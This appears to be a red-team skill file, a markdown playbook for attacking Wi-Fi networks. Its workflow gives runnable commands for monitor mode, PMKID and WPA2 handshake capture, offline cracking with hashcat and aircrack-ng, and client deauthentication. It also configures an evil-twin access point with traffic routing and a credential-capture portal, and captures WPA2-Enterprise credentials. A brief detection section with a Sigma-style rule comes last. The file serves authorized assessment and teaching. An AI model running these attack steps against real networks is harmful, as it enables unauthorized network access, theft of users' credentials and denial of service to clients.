<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-wireless-red-team
description: >-
  Conduct wireless red team assessments against Wi-Fi networks. Covers
  WPA2/WPA3 attacks, evil twin, PMKID capture, client deauthentication,
  and rogue access point deployment.
domain: cybersecurity
subdomain: red-team
tags:
  - wireless
  - wifi
  - wpa2
  - evil-twin
  - deauth
  - aircrack
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557.002", "T1040", "T1499.002"]
  tools: ["aircrack-ng", "bettercap", "hostapd-mana", "hcxdumptool"]
---

# Performing Wireless Red Team

## Overview

Wireless networks extend the attack surface beyond physical perimeters.
Red team wireless operations target WPA2-PSK handshakes, PMKID captures,
evil twin portals, and client-side attacks to gain network access or
harvest credentials.

## Prerequisites

- Wireless adapter with monitor mode support (Alfa AWUS036ACH, TP-Link TL-WN722N v1)
- Linux with aircrack-ng suite
- Root privileges for monitor mode

```bash
apt install aircrack-ng bettercap hcxdumptool hcxtools hostapd dnsmasq
```

## Key Concepts

### Wi-Fi Attack Categories

| Attack | Target | Result |
|--------|--------|--------|
| PMKID capture | AP | Offline PSK cracking (no client needed) |
| 4-way handshake | Client+AP | Offline PSK cracking |
| Evil twin | Client | Credential capture via portal |
| Deauth flood | Client | Force reconnection / DoS |
| KARMA/MANA | Client | Rogue AP auto-association |
| WPA3 Dragonfly | AP | Downgrade or side-channel |

### Encryption Types

| Type | Crackable | Method |
|------|-----------|--------|
| WEP | Trivial | IV collection + aircrack |
| WPA2-PSK | Offline brute | Handshake/PMKID capture |
| WPA2-Enterprise | MitM | Evil twin + EAP downgrade |
| WPA3-SAE | Hard | Dragonblood side-channel |

## Workflow

### Step 1: Enable Monitor Mode

```bash
# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0

# Verify
iwconfig wlan0mon
```

### Step 2: Scan for Networks

```bash
# Scan all channels
airodump-ng wlan0mon

# Target specific channel
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture

# Bettercap WiFi recon
bettercap -iface wlan0mon -eval 'wifi.recon on; wifi.show'
```

### Step 3: PMKID Capture (Clientless)

```bash
# hcxdumptool — capture PMKID
hcxdumptool -i wlan0mon -o capture.pcapng --filterlist-ap=target_bssid --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.22000 capture.pcapng

# Crack with hashcat
hashcat -m 22000 hash.22000 rockyou.txt --force
```

### Step 4: WPA2 Handshake Capture

```bash
# Start capture on target channel
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake

# Deauthenticate client to force reconnection
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Verify handshake captured (check airodump output for WPA handshake)

# Crack
aircrack-ng handshake-01.cap -w rockyou.txt
# Or convert to hashcat
hcxpcapngtool -o hash.22000 handshake-01.cap
hashcat -m 22000 hash.22000 rockyou.txt
```

### Step 5: Evil Twin Attack

```bash
# hostapd-mana configuration
cat > mana.conf << 'EOF'
interface=wlan1
ssid=CorpWiFi
channel=6
hw_mode=g
ieee80211n=1
wpa=2
wpa_passphrase=doesntmatter
wpa_key_mgmt=WPA-PSK
EOF

# Start evil twin
hostapd-mana mana.conf

# Configure DHCP
dnsmasq --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.50,12h --no-daemon

# Route traffic
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

# Capture portal with bettercap
bettercap -iface wlan1 -caplet http-ui
```

### Step 6: Enterprise Wi-Fi Attack

```bash
# hostapd-mana for WPA2-Enterprise
# Capture RADIUS credentials via EAP downgrade
hostapd-mana enterprise.conf --eap-user-file eap_users

# Use captured credentials
# MSCHAPv2 hashes → crack with hashcat -m 5500
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Deauth frames | WIDS/WIPS | Burst of deauthentication frames |
| Rogue AP | WIDS | SSID clone with different BSSID |
| PMKID probes | AP logs | Association requests without completion |
| Signal anomaly | WIDS | Duplicate SSID at unusual signal strength |

```yaml
title: Wireless Deauthentication Attack Detected
id: 29304152-3647-5678-2345-678901234567
status: experimental
logsource:
  product: wids
  category: wireless
detection:
  selection:
    frame_type: "deauthentication"
  timeframe: 1m
  condition: selection | count() > 10
falsepositives:
  - Client roaming between APs
  - AP channel switching
level: high
tags:
  - attack.t1499.002
  - attack.impact
```

## Verification

- [ ] Target networks discovered and profiled
- [ ] Handshake/PMKID captured
- [ ] PSK cracked or evil twin deployed
- [ ] Network access achieved
- [ ] Detection artifacts documented

## References

- [Aircrack-ng](https://www.aircrack-ng.org/)
- [hcxdumptool](https://github.com/ZerBea/hcxdumptool)
- [MITRE T1557.002](https://attack.mitre.org/techniques/T1557/002/)
- [Bettercap](https://www.bettercap.org/)
